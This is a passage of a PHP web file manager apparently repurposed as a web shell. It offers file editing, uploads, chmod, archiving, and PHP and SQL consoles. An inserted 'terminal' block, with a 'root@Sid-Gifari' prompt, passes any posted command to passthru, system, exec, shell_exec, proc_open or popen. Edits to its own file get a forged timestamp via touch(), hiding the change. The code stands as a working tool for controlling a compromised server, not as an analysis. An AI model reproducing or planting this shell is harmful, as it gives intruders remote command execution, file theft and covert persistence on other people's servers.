A09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
